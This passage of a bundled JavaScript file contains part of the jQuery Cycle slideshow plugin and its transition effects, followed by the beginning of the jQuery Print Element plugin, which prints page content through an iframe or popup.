		debug('calculated timeout: ' + t + '; speed: ' + opts.speed);
		if (t !== false)
			return t;
	}
	return opts.timeout;
};

// expose next/prev function, caller must pass in state
$.fn.cycle.next = function(opts) { advance(opts,1); };
$.fn.cycle.prev = function(opts) { advance(opts,0);};

// advance slide forward or back
function advance(opts, moveForward) {
	var val = moveForward ? 1 : -1;
	var els = opts.elements;
	var p = opts.$cont[0], timeout = p.cycleTimeout;
	if (timeout) {
		clearTimeout(timeout);
		p.cycleTimeout = 0;
	}
	if (opts.random && val < 0) {
		// move back to the previously display slide
		opts.randomIndex--;
		if (--opts.randomIndex == -2)
			opts.randomIndex = els.length-2;
		else if (opts.randomIndex == -1)
			opts.randomIndex = els.length-1;
		opts.nextSlide = opts.randomMap[opts.randomIndex];
	}
	else if (opts.random) {
		opts.nextSlide = opts.randomMap[opts.randomIndex];
	}
	else {
		opts.nextSlide = opts.currSlide + val;
		if (opts.nextSlide < 0) {
			if (opts.nowrap) return false;
			opts.nextSlide = els.length - 1;
		}
		else if (opts.nextSlide >= els.length) {
			if (opts.nowrap) return false;
			opts.nextSlide = 0;
		}
	}

	var cb = opts.onPrevNextEvent || opts.prevNextClick; // prevNextClick is deprecated
	if ($.isFunction(cb))
		cb(val > 0, opts.nextSlide, els[opts.nextSlide]);
	go(els, opts, 1, moveForward);
	return false;
};

function buildPager(els, opts) {
	var $p = $(opts.pager);
	$.each(els, function(i,o) {
		$.fn.cycle.createPagerAnchor(i,o,$p,els,opts);
	});
	opts.updateActivePagerLink(opts.pager, opts.startingSlide, opts.activePagerClass);
};

$.fn.cycle.createPagerAnchor = function(i, el, $p, els, opts) {
	var a;
	if ($.isFunction(opts.pagerAnchorBuilder)) {
		a = opts.pagerAnchorBuilder(i,el);
		debug('pagerAnchorBuilder('+i+', el) returned: ' + a);
	}
	else
		a = '<a href="#">'+(i+1)+'</a>';
		
	if (!a)
		return;
	var $a = $(a);
	// don't reparent if anchor is in the dom
	if ($a.parents('body').length === 0) {
		var arr = [];
		if ($p.length > 1) {
			$p.each(function() {
				var $clone = $a.clone(true);
				$(this).append($clone);
				arr.push($clone[0]);
			});
			$a = $(arr);
		}
		else {
			$a.appendTo($p);
		}
	}

	opts.pagerAnchors =  opts.pagerAnchors || [];
	opts.pagerAnchors.push($a);
	
	var pagerFn = function(e) {
		e.preventDefault();
		opts.nextSlide = i;
		var p = opts.$cont[0], timeout = p.cycleTimeout;
		if (timeout) {
			clearTimeout(timeout);
			p.cycleTimeout = 0;
		}
		var cb = opts.onPagerEvent || opts.pagerClick; // pagerClick is deprecated
		if ($.isFunction(cb))
			cb(opts.nextSlide, els[opts.nextSlide]);
		go(els,opts,1,opts.currSlide < i); // trigger the trans
//		return false; // <== allow bubble
	}
	
	if ( /mouseenter|mouseover/i.test(opts.pagerEvent) ) {
		$a.hover(pagerFn, function(){/* no-op */} );
	}
	else {
		$a.bind(opts.pagerEvent, pagerFn);
	}
	
	if ( ! /^click/.test(opts.pagerEvent) && !opts.allowPagerClickBubble)
		$a.bind('click.cycle', function(){return false;}); // suppress click
	
	var cont = opts.$cont[0];
	var pauseFlag = false; // https://github.com/malsup/cycle/issues/44
	if (opts.pauseOnPagerHover) {
		$a.hover(
			function() { 
				pauseFlag = true;
				cont.cyclePause++; 
				triggerPause(cont,true,true);
			}, function() { 
				pauseFlag && cont.cyclePause--; 
				triggerPause(cont,true,true);
			} 
		);
	}
};

// helper fn to calculate the number of slides between the current and the next
$.fn.cycle.hopsFromLast = function(opts, fwd) {
	var hops, l = opts.lastSlide, c = opts.currSlide;
	if (fwd)
		hops = c > l ? c - l : opts.slideCount - l;
	else
		hops = c < l ? l - c : l + opts.slideCount - c;
	return hops;
};

// fix clearType problems in ie6 by setting an explicit bg color
// (otherwise text slides look horrible during a fade transition)
function clearTypeFix($slides) {
	debug('applying clearType background-color hack');
	function hex(s) {
		s = parseInt(s,10).toString(16);
		return s.length < 2 ? '0'+s : s;
	};
	function getBg(e) {
		for ( ; e && e.nodeName.toLowerCase() != 'html'; e = e.parentNode) {
			var v = $.css(e,'background-color');
			if (v && v.indexOf('rgb') >= 0 ) {
				var rgb = v.match(/\d+/g);
				return '#'+ hex(rgb[0]) + hex(rgb[1]) + hex(rgb[2]);
			}
			if (v && v != 'transparent')
				return v;
		}
		return '#ffffff';
	};
	$slides.each(function() { $(this).css('background-color', getBg(this)); });
};

// reset common props before the next transition
$.fn.cycle.commonReset = function(curr,next,opts,w,h,rev) {
	$(opts.elements).not(curr).hide();
	if (typeof opts.cssBefore.opacity == 'undefined')
		opts.cssBefore.opacity = 1;
	opts.cssBefore.display = 'block';
	if (opts.slideResize && w !== false && next.cycleW > 0)
		opts.cssBefore.width = next.cycleW;
	if (opts.slideResize && h !== false && next.cycleH > 0)
		opts.cssBefore.height = next.cycleH;
	opts.cssAfter = opts.cssAfter || {};
	opts.cssAfter.display = 'none';
	$(curr).css('zIndex',opts.slideCount + (rev === true ? 1 : 0));
	$(next).css('zIndex',opts.slideCount + (rev === true ? 0 : 1));
};

// the actual fn for effecting a transition
$.fn.cycle.custom = function(curr, next, opts, cb, fwd, speedOverride) {
	var $l = $(curr), $n = $(next);
	var speedIn = opts.speedIn, speedOut = opts.speedOut, easeIn = opts.easeIn, easeOut = opts.easeOut;
	$n.css(opts.cssBefore);
	if (speedOverride) {
		if (typeof speedOverride == 'number')
			speedIn = speedOut = speedOverride;
		else
			speedIn = speedOut = 1;
		easeIn = easeOut = null;
	}
	var fn = function() {
		$n.animate(opts.animIn, speedIn, easeIn, function() {
			cb();
		});
	};
	$l.animate(opts.animOut, speedOut, easeOut, function() {
		$l.css(opts.cssAfter);
		if (!opts.sync) 
			fn();
	});
	if (opts.sync) fn();
};

// transition definitions - only fade is defined here, transition pack defines the rest
$.fn.cycle.transitions = {
	fade: function($cont, $slides, opts) {
		$slides.not(':eq('+opts.currSlide+')').css('opacity',0);
		opts.before.push(function(curr,next,opts) {
			$.fn.cycle.commonReset(curr,next,opts);
			opts.cssBefore.opacity = 0;
		});
		opts.animIn	   = { opacity: 1 };
		opts.animOut   = { opacity: 0 };
		opts.cssBefore = { top: 0, left: 0 };
	}
};

$.fn.cycle.ver = function() { return ver; };

// override these globally if you like (they are all optional)
$.fn.cycle.defaults = {
	activePagerClass: 'activeSlide', // class name used for the active pager link
	after:		   null,  // transition callback (scope set to element that was shown):  function(currSlideElement, nextSlideElement, options, forwardFlag)
	allowPagerClickBubble: false, // allows or prevents click event on pager anchors from bubbling
	animIn:		   null,  // properties that define how the slide animates in
	animOut:	   null,  // properties that define how the slide animates out
	aspect:		   false,  // preserve aspect ratio during fit resizing, cropping if necessary (must be used with fit option)
	autostop:	   0,	  // true to end slideshow after X transitions (where X == slide count)
	autostopCount: 0,	  // number of transitions (optionally used with autostop to define X)
	backwards:     false, // true to start slideshow at last slide and move backwards through the stack
	before:		   null,  // transition callback (scope set to element to be shown):	 function(currSlideElement, nextSlideElement, options, forwardFlag)
	center: 	   null,  // set to true to have cycle add top/left margin to each slide (use with width and height options)
	cleartype:	   !$.support.opacity,  // true if clearType corrections should be applied (for IE)
	cleartypeNoBg: false, // set to true to disable extra cleartype fixing (leave false to force background color setting on slides)
	containerResize: 1,	  // resize container to fit largest slide
	continuous:	   0,	  // true to start next transition immediately after current one completes
	cssAfter:	   null,  // properties that defined the state of the slide after transitioning out
	cssBefore:	   null,  // properties that define the initial state of the slide before transitioning in
	delay:		   0,	  // additional delay (in ms) for first transition (hint: can be negative)
	easeIn:		   null,  // easing for "in" transition
	easeOut:	   null,  // easing for "out" transition
	easing:		   null,  // easing method for both in and out transitions
	end:		   null,  // callback invoked when the slideshow terminates (use with autostop or nowrap options): function(options)
	fastOnEvent:   0,	  // force fast transitions when triggered manually (via pager or prev/next); value == time in ms
	fit:		   0,	  // force slides to fit container
	fx:			  'fade', // name of transition effect (or comma separated names, ex: 'fade,scrollUp,shuffle')
	fxFn:		   null,  // function used to control the transition: function(currSlideElement, nextSlideElement, options, afterCalback, forwardFlag)
	height:		  'auto', // container height (if the 'fit' option is true, the slides will be set to this height as well)
	manualTrump:   true,  // causes manual transition to stop an active transition instead of being ignored
	metaAttr:     'cycle',// data- attribute that holds the option data for the slideshow
	next:		   null,  // element, jQuery object, or jQuery selector string for the element to use as event trigger for next slide
	nowrap:		   0,	  // true to prevent slideshow from wrapping
	onPagerEvent:  null,  // callback fn for pager events: function(zeroBasedSlideIndex, slideElement)
	onPrevNextEvent: null,// callback fn for prev/next events: function(isNext, zeroBasedSlideIndex, slideElement)
	pager:		   null,  // element, jQuery object, or jQuery selector string for the element to use as pager container
	pagerAnchorBuilder: null, // callback fn for building anchor links:  function(index, DOMelement)
	pagerEvent:	  'click.cycle', // name of event which drives the pager navigation
	pause:		   0,	  // true to enable "pause on hover"
	pauseOnPagerHover: 0, // true to pause when hovering over pager link
	prev:		   null,  // element, jQuery object, or jQuery selector string for the element to use as event trigger for previous slide
	prevNextEvent:'click.cycle',// event which drives the manual transition to the previous or next slide
	random:		   0,	  // true for random, false for sequence (not applicable to shuffle fx)
	randomizeEffects: 1,  // valid when multiple effects are used; true to make the effect sequence random
	requeueOnImageNotLoaded: true, // requeue the slideshow if any image slides are not yet loaded
	requeueTimeout: 250,  // ms delay for requeue
	rev:		   0,	  // causes animations to transition in reverse (for effects that support it such as scrollHorz/scrollVert/shuffle)
	shuffle:	   null,  // coords for shuffle animation, ex: { top:15, left: 200 }
	skipInitializationCallbacks: false, // set to true to disable the first before/after callback that occurs prior to any transition
	slideExpr:	   null,  // expression for selecting slides (if something other than all children is required)
	slideResize:   1,     // force slide width/height to fixed size before every transition
	speed:		   1000,  // speed of the transition (any valid fx speed value)
	speedIn:	   null,  // speed of the 'in' transition
	speedOut:	   null,  // speed of the 'out' transition
	startingSlide: 0,	  // zero-based index of the first slide to be displayed
	sync:		   1,	  // true if in/out transitions should occur simultaneously
	timeout:	   4000,  // milliseconds between slide transitions (0 to disable auto advance)
	timeoutFn:     null,  // callback for determining per-slide timeout value:  function(currSlideElement, nextSlideElement, options, forwardFlag)
	updateActivePagerLink: null, // callback fn invoked to update the active pager link (adds/removes activePagerClass style)
	width:         null   // container width (if the 'fit' option is true, the slides will be set to this width as well)
};

})(jQuery);


/*!
 * jQuery Cycle Plugin Transition Definitions
 * This script is a plugin for the jQuery Cycle Plugin
 * Examples and documentation at: http://malsup.com/jquery/cycle/
 * Copyright (c) 2007-2010 M. Alsup
 * Version:	 2.73
 * Dual licensed under the MIT and GPL licenses:
 * http://www.opensource.org/licenses/mit-license.php
 * http://www.gnu.org/licenses/gpl.html
 */
(function($) {

//
// These functions define slide initialization and properties for the named
// transitions. To save file size feel free to remove any of these that you
// don't need.
//
$.fn.cycle.transitions.none = function($cont, $slides, opts) {
	opts.fxFn = function(curr,next,opts,after){
		$(next).show();
		$(curr).hide();
		after();
	};
};

// not a cross-fade, fadeout only fades out the top slide
$.fn.cycle.transitions.fadeout = function($cont, $slides, opts) {
	$slides.not(':eq('+opts.currSlide+')').css({ display: 'block', 'opacity': 1 });
	opts.before.push(function(curr,next,opts,w,h,rev) {
		$(curr).css('zIndex',opts.slideCount + (!rev === true ? 1 : 0));
		$(next).css('zIndex',opts.slideCount + (!rev === true ? 0 : 1));
	});
	opts.animIn.opacity = 1;
	opts.animOut.opacity = 0;
	opts.cssBefore.opacity = 1;
	opts.cssBefore.display = 'block';
	opts.cssAfter.zIndex = 0;
};

// scrollUp/Down/Left/Right
$.fn.cycle.transitions.scrollUp = function($cont, $slides, opts) {
	$cont.css('overflow','hidden');
	opts.before.push($.fn.cycle.commonReset);
	var h = $cont.height();
	opts.cssBefore.top = h;
	opts.cssBefore.left = 0;
	opts.cssFirst.top = 0;
	opts.animIn.top = 0;
	opts.animOut.top = -h;
};
$.fn.cycle.transitions.scrollDown = function($cont, $slides, opts) {
	$cont.css('overflow','hidden');
	opts.before.push($.fn.cycle.commonReset);
	var h = $cont.height();
	opts.cssFirst.top = 0;
	opts.cssBefore.top = -h;
	opts.cssBefore.left = 0;
	opts.animIn.top = 0;
	opts.animOut.top = h;
};
$.fn.cycle.transitions.scrollLeft = function($cont, $slides, opts) {
	$cont.css('overflow','hidden');
	opts.before.push($.fn.cycle.commonReset);
	var w = $cont.width();
	opts.cssFirst.left = 0;
	opts.cssBefore.left = w;
	opts.cssBefore.top = 0;
	opts.animIn.left = 0;
	opts.animOut.left = 0-w;
};
$.fn.cycle.transitions.scrollRight = function($cont, $slides, opts) {
	$cont.css('overflow','hidden');
	opts.before.push($.fn.cycle.commonReset);
	var w = $cont.width();
	opts.cssFirst.left = 0;
	opts.cssBefore.left = -w;
	opts.cssBefore.top = 0;
	opts.animIn.left = 0;
	opts.animOut.left = w;
};
$.fn.cycle.transitions.scrollHorz = function($cont, $slides, opts) {
	$cont.css('overflow','hidden').width();
	opts.before.push(function(curr, next, opts, fwd) {
		if (opts.rev)
			fwd = !fwd;
		$.fn.cycle.commonReset(curr,next,opts);
		opts.cssBefore.left = fwd ? (next.cycleW-1) : (1-next.cycleW);
		opts.animOut.left = fwd ? -curr.cycleW : curr.cycleW;
	});
	opts.cssFirst.left = 0;
	opts.cssBefore.top = 0;
	opts.animIn.left = 0;
	opts.animOut.top = 0;
};
$.fn.cycle.transitions.scrollVert = function($cont, $slides, opts) {
	$cont.css('overflow','hidden');
	opts.before.push(function(curr, next, opts, fwd) {
		if (opts.rev)
			fwd = !fwd;
		$.fn.cycle.commonReset(curr,next,opts);
		opts.cssBefore.top = fwd ? (1-next.cycleH) : (next.cycleH-1);
		opts.animOut.top = fwd ? curr.cycleH : -curr.cycleH;
	});
	opts.cssFirst.top = 0;
	opts.cssBefore.left = 0;
	opts.animIn.top = 0;
	opts.animOut.left = 0;
};

// slideX/slideY
$.fn.cycle.transitions.slideX = function($cont, $slides, opts) {
	opts.before.push(function(curr, next, opts) {
		$(opts.elements).not(curr).hide();
		$.fn.cycle.commonReset(curr,next,opts,false,true);
		opts.animIn.width = next.cycleW;
	});
	opts.cssBefore.left = 0;
	opts.cssBefore.top = 0;
	opts.cssBefore.width = 0;
	opts.animIn.width = 'show';
	opts.animOut.width = 0;
};
$.fn.cycle.transitions.slideY = function($cont, $slides, opts) {
	opts.before.push(function(curr, next, opts) {
		$(opts.elements).not(curr).hide();
		$.fn.cycle.commonReset(curr,next,opts,true,false);
		opts.animIn.height = next.cycleH;
	});
	opts.cssBefore.left = 0;
	opts.cssBefore.top = 0;
	opts.cssBefore.height = 0;
	opts.animIn.height = 'show';
	opts.animOut.height = 0;
};

// shuffle
$.fn.cycle.transitions.shuffle = function($cont, $slides, opts) {
	var i, w = $cont.css('overflow', 'visible').width();
	$slides.css({left: 0, top: 0});
	opts.before.push(function(curr,next,opts) {
		$.fn.cycle.commonReset(curr,next,opts,true,true,true);
	});
	// only adjust speed once!
	if (!opts.speedAdjusted) {
		opts.speed = opts.speed / 2; // shuffle has 2 transitions
		opts.speedAdjusted = true;
	}
	opts.random = 0;
	opts.shuffle = opts.shuffle || {left:-w, top:15};
	opts.els = [];
	for (i=0; i < $slides.length; i++)
		opts.els.push($slides[i]);

	for (i=0; i < opts.currSlide; i++)
		opts.els.push(opts.els.shift());

	// custom transition fn (hat tip to Benjamin Sterling for this bit of sweetness!)
	opts.fxFn = function(curr, next, opts, cb, fwd) {
		if (opts.rev)
			fwd = !fwd;
		var $el = fwd ? $(curr) : $(next);
		$(next).css(opts.cssBefore);
		var count = opts.slideCount;
		$el.animate(opts.shuffle, opts.speedIn, opts.easeIn, function() {
			var hops = $.fn.cycle.hopsFromLast(opts, fwd);
			for (var k=0; k < hops; k++)
				fwd ? opts.els.push(opts.els.shift()) : opts.els.unshift(opts.els.pop());
			if (fwd) {
				for (var i=0, len=opts.els.length; i < len; i++)
					$(opts.els[i]).css('z-index', len-i+count);
			}
			else {
				var z = $(curr).css('z-index');
				$el.css('z-index', parseInt(z,10)+1+count);
			}
			$el.animate({left:0, top:0}, opts.speedOut, opts.easeOut, function() {
				$(fwd ? this : curr).hide();
				if (cb) cb();
			});
		});
	};
	$.extend(opts.cssBefore, { display: 'block', opacity: 1, top: 0, left: 0 });
};

// turnUp/Down/Left/Right
$.fn.cycle.transitions.turnUp = function($cont, $slides, opts) {
	opts.before.push(function(curr, next, opts) {
		$.fn.cycle.commonReset(curr,next,opts,true,false);
		opts.cssBefore.top = next.cycleH;
		opts.animIn.height = next.cycleH;
		opts.animOut.width = next.cycleW;
	});
	opts.cssFirst.top = 0;
	opts.cssBefore.left = 0;
	opts.cssBefore.height = 0;
	opts.animIn.top = 0;
	opts.animOut.height = 0;
};
$.fn.cycle.transitions.turnDown = function($cont, $slides, opts) {
	opts.before.push(function(curr, next, opts) {
		$.fn.cycle.commonReset(curr,next,opts,true,false);
		opts.animIn.height = next.cycleH;
		opts.animOut.top   = curr.cycleH;
	});
	opts.cssFirst.top = 0;
	opts.cssBefore.left = 0;
	opts.cssBefore.top = 0;
	opts.cssBefore.height = 0;
	opts.animOut.height = 0;
};
$.fn.cycle.transitions.turnLeft = function($cont, $slides, opts) {
	opts.before.push(function(curr, next, opts) {
		$.fn.cycle.commonReset(curr,next,opts,false,true);
		opts.cssBefore.left = next.cycleW;
		opts.animIn.width = next.cycleW;
	});
	opts.cssBefore.top = 0;
	opts.cssBefore.width = 0;
	opts.animIn.left = 0;
	opts.animOut.width = 0;
};
$.fn.cycle.transitions.turnRight = function($cont, $slides, opts) {
	opts.before.push(function(curr, next, opts) {
		$.fn.cycle.commonReset(curr,next,opts,false,true);
		opts.animIn.width = next.cycleW;
		opts.animOut.left = curr.cycleW;
	});
	$.extend(opts.cssBefore, { top: 0, left: 0, width: 0 });
	opts.animIn.left = 0;
	opts.animOut.width = 0;
};

// zoom
$.fn.cycle.transitions.zoom = function($cont, $slides, opts) {
	opts.before.push(function(curr, next, opts) {
		$.fn.cycle.commonReset(curr,next,opts,false,false,true);
		opts.cssBefore.top = next.cycleH/2;
		opts.cssBefore.left = next.cycleW/2;
		$.extend(opts.animIn, { top: 0, left: 0, width: next.cycleW, height: next.cycleH });
		$.extend(opts.animOut, { width: 0, height: 0, top: curr.cycleH/2, left: curr.cycleW/2 });
	});
	opts.cssFirst.top = 0;
	opts.cssFirst.left = 0;
	opts.cssBefore.width = 0;
	opts.cssBefore.height = 0;
};

// fadeZoom
$.fn.cycle.transitions.fadeZoom = function($cont, $slides, opts) {
	opts.before.push(function(curr, next, opts) {
		$.fn.cycle.commonReset(curr,next,opts,false,false);
		opts.cssBefore.left = next.cycleW/2;
		opts.cssBefore.top = next.cycleH/2;
		$.extend(opts.animIn, { top: 0, left: 0, width: next.cycleW, height: next.cycleH });
	});
	opts.cssBefore.width = 0;
	opts.cssBefore.height = 0;
	opts.animOut.opacity = 0;
};

// blindX
$.fn.cycle.transitions.blindX = function($cont, $slides, opts) {
	var w = $cont.css('overflow','hidden').width();
	opts.before.push(function(curr, next, opts) {
		$.fn.cycle.commonReset(curr,next,opts);
		opts.animIn.width = next.cycleW;
		opts.animOut.left   = curr.cycleW;
	});
	opts.cssBefore.left = w;
	opts.cssBefore.top = 0;
	opts.animIn.left = 0;
	opts.animOut.left = w;
};
// blindY
$.fn.cycle.transitions.blindY = function($cont, $slides, opts) {
	var h = $cont.css('overflow','hidden').height();
	opts.before.push(function(curr, next, opts) {
		$.fn.cycle.commonReset(curr,next,opts);
		opts.animIn.height = next.cycleH;
		opts.animOut.top   = curr.cycleH;
	});
	opts.cssBefore.top = h;
	opts.cssBefore.left = 0;
	opts.animIn.top = 0;
	opts.animOut.top = h;
};
// blindZ
$.fn.cycle.transitions.blindZ = function($cont, $slides, opts) {
	var h = $cont.css('overflow','hidden').height();
	var w = $cont.width();
	opts.before.push(function(curr, next, opts) {
		$.fn.cycle.commonReset(curr,next,opts);
		opts.animIn.height = next.cycleH;
		opts.animOut.top   = curr.cycleH;
	});
	opts.cssBefore.top = h;
	opts.cssBefore.left = w;
	opts.animIn.top = 0;
	opts.animIn.left = 0;
	opts.animOut.top = h;
	opts.animOut.left = w;
};

// growX - grow horizontally from centered 0 width
$.fn.cycle.transitions.growX = function($cont, $slides, opts) {
	opts.before.push(function(curr, next, opts) {
		$.fn.cycle.commonReset(curr,next,opts,false,true);
		opts.cssBefore.left = this.cycleW/2;
		opts.animIn.left = 0;
		opts.animIn.width = this.cycleW;
		opts.animOut.left = 0;
	});
	opts.cssBefore.top = 0;
	opts.cssBefore.width = 0;
};
// growY - grow vertically from centered 0 height
$.fn.cycle.transitions.growY = function($cont, $slides, opts) {
	opts.before.push(function(curr, next, opts) {
		$.fn.cycle.commonReset(curr,next,opts,true,false);
		opts.cssBefore.top = this.cycleH/2;
		opts.animIn.top = 0;
		opts.animIn.height = this.cycleH;
		opts.animOut.top = 0;
	});
	opts.cssBefore.height = 0;
	opts.cssBefore.left = 0;
};

// curtainX - squeeze in both edges horizontally
$.fn.cycle.transitions.curtainX = function($cont, $slides, opts) {
	opts.before.push(function(curr, next, opts) {
		$.fn.cycle.commonReset(curr,next,opts,false,true,true);
		opts.cssBefore.left = next.cycleW/2;
		opts.animIn.left = 0;
		opts.animIn.width = this.cycleW;
		opts.animOut.left = curr.cycleW/2;
		opts.animOut.width = 0;
	});
	opts.cssBefore.top = 0;
	opts.cssBefore.width = 0;
};
// curtainY - squeeze in both edges vertically
$.fn.cycle.transitions.curtainY = function($cont, $slides, opts) {
	opts.before.push(function(curr, next, opts) {
		$.fn.cycle.commonReset(curr,next,opts,true,false,true);
		opts.cssBefore.top = next.cycleH/2;
		opts.animIn.top = 0;
		opts.animIn.height = next.cycleH;
		opts.animOut.top = curr.cycleH/2;
		opts.animOut.height = 0;
	});
	opts.cssBefore.height = 0;
	opts.cssBefore.left = 0;
};

// cover - curr slide covered by next slide
$.fn.cycle.transitions.cover = function($cont, $slides, opts) {
	var d = opts.direction || 'left';
	var w = $cont.css('overflow','hidden').width();
	var h = $cont.height();
	opts.before.push(function(curr, next, opts) {
		$.fn.cycle.commonReset(curr,next,opts);
		if (d == 'right')
			opts.cssBefore.left = -w;
		else if (d == 'up')
			opts.cssBefore.top = h;
		else if (d == 'down')
			opts.cssBefore.top = -h;
		else
			opts.cssBefore.left = w;
	});
	opts.animIn.left = 0;
	opts.animIn.top = 0;
	opts.cssBefore.top = 0;
	opts.cssBefore.left = 0;
};

// uncover - curr slide moves off next slide
$.fn.cycle.transitions.uncover = function($cont, $slides, opts) {
	var d = opts.direction || 'left';
	var w = $cont.css('overflow','hidden').width();
	var h = $cont.height();
	opts.before.push(function(curr, next, opts) {
		$.fn.cycle.commonReset(curr,next,opts,true,true,true);
		if (d == 'right')
			opts.animOut.left = w;
		else if (d == 'up')
			opts.animOut.top = -h;
		else if (d == 'down')
			opts.animOut.top = h;
		else
			opts.animOut.left = -w;
	});
	opts.animIn.left = 0;
	opts.animIn.top = 0;
	opts.cssBefore.top = 0;
	opts.cssBefore.left = 0;
};

// toss - move top slide and fade away
$.fn.cycle.transitions.toss = function($cont, $slides, opts) {
	var w = $cont.css('overflow','visible').width();
	var h = $cont.height();
	opts.before.push(function(curr, next, opts) {
		$.fn.cycle.commonReset(curr,next,opts,true,true,true);
		// provide default toss settings if animOut not provided
		if (!opts.animOut.left && !opts.animOut.top)
			$.extend(opts.animOut, { left: w*2, top: -h/2, opacity: 0 });
		else
			opts.animOut.opacity = 0;
	});
	opts.cssBefore.left = 0;
	opts.cssBefore.top = 0;
	opts.animIn.left = 0;
};

// wipe - clip animation
$.fn.cycle.transitions.wipe = function($cont, $slides, opts) {
	var w = $cont.css('overflow','hidden').width();
	var h = $cont.height();
	opts.cssBefore = opts.cssBefore || {};
	var clip;
	if (opts.clip) {
		if (/l2r/.test(opts.clip))
			clip = 'rect(0px 0px '+h+'px 0px)';
		else if (/r2l/.test(opts.clip))
			clip = 'rect(0px '+w+'px '+h+'px '+w+'px)';
		else if (/t2b/.test(opts.clip))
			clip = 'rect(0px '+w+'px 0px 0px)';
		else if (/b2t/.test(opts.clip))
			clip = 'rect('+h+'px '+w+'px '+h+'px 0px)';
		else if (/zoom/.test(opts.clip)) {
			var top = parseInt(h/2,10);
			var left = parseInt(w/2,10);
			clip = 'rect('+top+'px '+left+'px '+top+'px '+left+'px)';
		}
	}

	opts.cssBefore.clip = opts.cssBefore.clip || clip || 'rect(0px 0px 0px 0px)';

	var d = opts.cssBefore.clip.match(/(\d+)/g);
	var t = parseInt(d[0],10), r = parseInt(d[1],10), b = parseInt(d[2],10), l = parseInt(d[3],10);

	opts.before.push(function(curr, next, opts) {
		if (curr == next) return;
		var $curr = $(curr), $next = $(next);
		$.fn.cycle.commonReset(curr,next,opts,true,true,false);
		opts.cssAfter.display = 'block';

		var step = 1, count = parseInt((opts.speedIn / 13),10) - 1;
		(function f() {
			var tt = t ? t - parseInt(step * (t/count),10) : 0;
			var ll = l ? l - parseInt(step * (l/count),10) : 0;
			var bb = b < h ? b + parseInt(step * ((h-b)/count || 1),10) : h;
			var rr = r < w ? r + parseInt(step * ((w-r)/count || 1),10) : w;
			$next.css({ clip: 'rect('+tt+'px '+rr+'px '+bb+'px '+ll+'px)' });
			(step++ <= count) ? setTimeout(f, 13) : $curr.css('display', 'none');
		})();
	});
	$.extend(opts.cssBefore, { display: 'block', opacity: 1, top: 0, left: 0 });
	opts.animIn	   = { left: 0 };
	opts.animOut   = { left: 0 };
};

})(jQuery);
;
/// <reference path="http://code.jquery.com/jquery-1.4.1-vsdoc.js" />
/*
* Print Element Plugin 1.2
*
* Copyright (c) 2010 Erik Zaadi
*
* Inspired by PrintArea (http://plugins.jquery.com/project/PrintArea) and
* http://stackoverflow.com/questions/472951/how-do-i-print-an-iframe-from-javascript-in-safari-chrome
*
*  Home Page : http://projects.erikzaadi/jQueryPlugins/jQuery.printElement 
*  Issues (bug reporting) : http://github.com/erikzaadi/jQueryPlugins/issues/labels/printElement
*  jQuery plugin page : http://plugins.jquery.com/project/printElement 
*  
*  Thanks to David B (http://github.com/ungenio) and icgJohn (http://www.blogger.com/profile/11881116857076484100)
*  For their great contributions!
* 
* Dual licensed under the MIT and GPL licenses:
*   http://www.opensource.org/licenses/mit-license.php
*   http://www.gnu.org/licenses/gpl.html
*   
*   Note, Iframe Printing is not supported in Opera and Chrome 3.0, a popup window will be shown instead
*/
; (function (window, undefined) {
    var document = window["document"];
    var $ = window["jQuery"];
    $.fn["printElement"] = function (options) {
        var mainOptions = $.extend({}, $.fn["printElement"]["defaults"], options);
        //iframe mode is not supported for opera and chrome 3.0 (it prints the entire page).
        //http://www.google.com/support/forum/p/Webmasters/thread?tid=2cb0f08dce8821c3&hl=en
        if (mainOptions["printMode"] == 'iframe') {
            if ($.browser.opera || (/chrome/.test(navigator.userAgent.toLowerCase())))
                mainOptions["printMode"] = 'popup';
        }
        //Remove previously printed iframe if exists
        $("[id^='printElement_']").remove();

        return this.each(function () {
            //Support Metadata Plug-in if available
            var opts = $.meta ? $.extend({}, mainOptions, $(this).data()) : mainOptions;
            _printElement($(this), opts);
        });
    };
    $.fn["printElement"]["defaults"] = {
        "printMode": 'iframe', //Usage : iframe / popup
        "pageTitle": '', //Print Page Title
        "overrideElementCSS": null,
        /* Can be one of the following 3 options:
        * 1 : boolean (pass true for stripping all css linked)
        * 2 : array of $.fn.printElement.cssElement (s)
        * 3 : array of strings with paths to alternate css files (optimized for print)
        */
        "printBodyOptions": {
            "styleToAdd": 'padding:10px;margin:10px;', //style attributes to add to the body of print document
            "classNameToAdd": '' //css class to add to the body of print document
        },
        "leaveOpen": false, // in case of popup, leave the print page open or not
        "iframeElementOptions": {
            "styleToAdd": 'border:none;position:absolute;width:0px;height:0px;bottom:0px;left:0px;', //style attributes to add to the iframe element
            "classNameToAdd": '' //css class to add to the iframe element
        }
    };
    $.fn["printElement"]["cssElement"] = {
        "href": '',
        "media": ''
    };
    function _printElement(element, opts) {
        //Create markup to be printed
        var html = _getMarkup(element, opts);

        var popupOrIframe = null;
        var documentToWriteTo = null;
        if (opts["printMode"].toLowerCase() == 'popup') {
            popupOrIframe = window.open('about:blank', 'printElementWindow', 'width=650,height=440,scrollbars=yes');
            documentToWriteTo = popupOrIframe.document;
        }
        else {
            //The random ID is to overcome a safari bug http://www.cjboco.com.sharedcopy.com/post.cfm/442dc92cd1c0ca10a5c35210b8166882.html
            var printElementID = "printElement_" + (Math.round(Math.random() * 99999)).toString();
            //Native creation of the element is faster..
            var iframe = document.createElement('IFRAME');
            $(iframe).attr({
                style: opts["iframeElementOptions"]["styleToAdd"],
                id: printElementID,
                className: opts["iframeElementOptions"]["classNameToAdd"],
                frameBorder: 0,
                scrolling: 'no',
                src: 'about:blank'
            });
            document.body.appendChild(iframe);
            documentToWriteTo = (iframe.contentWindow || iframe.contentDocument);
            if (documentToWriteTo.document)
                documentToWriteTo = documentToWriteTo.document;
            iframe = document.frames ? document.frames[printElementID] : document.getElementById(printElementID);
            popupOrIframe = iframe.contentWindow || iframe;
        }
        focus();
        documentToWriteTo.open();
        documentToWriteTo.write(html);
        documentToWriteTo.close();
        _callPrint(popupOrIframe);
    };

    function _callPrint(element) {
        if (element && element["printPage"])
            element["printPage"]();
        else
            setTimeout(function () {
                _callPrint(element);
            }, 50);
    }

    function _getElementHTMLIncludingFormElements(element) {
        var $element = $(element);
        //Radiobuttons and checkboxes
        $(":checked", $element).each(function () {
            this.setAttribute('checked', 'checked');
        });
        //simple text inputs
        $("input[type='text']", $element).each(function () {
            this.setAttribute('value', $(this).val());
        });
        $("select", $element).each(function () {
            var $select = $(this);
            $("option", $select).each(function () {
                if ($select.val() == $(this).val())
                    this.setAttribute('selected', 'selected');
            });
        });
        $("textarea", $element).each(function () {
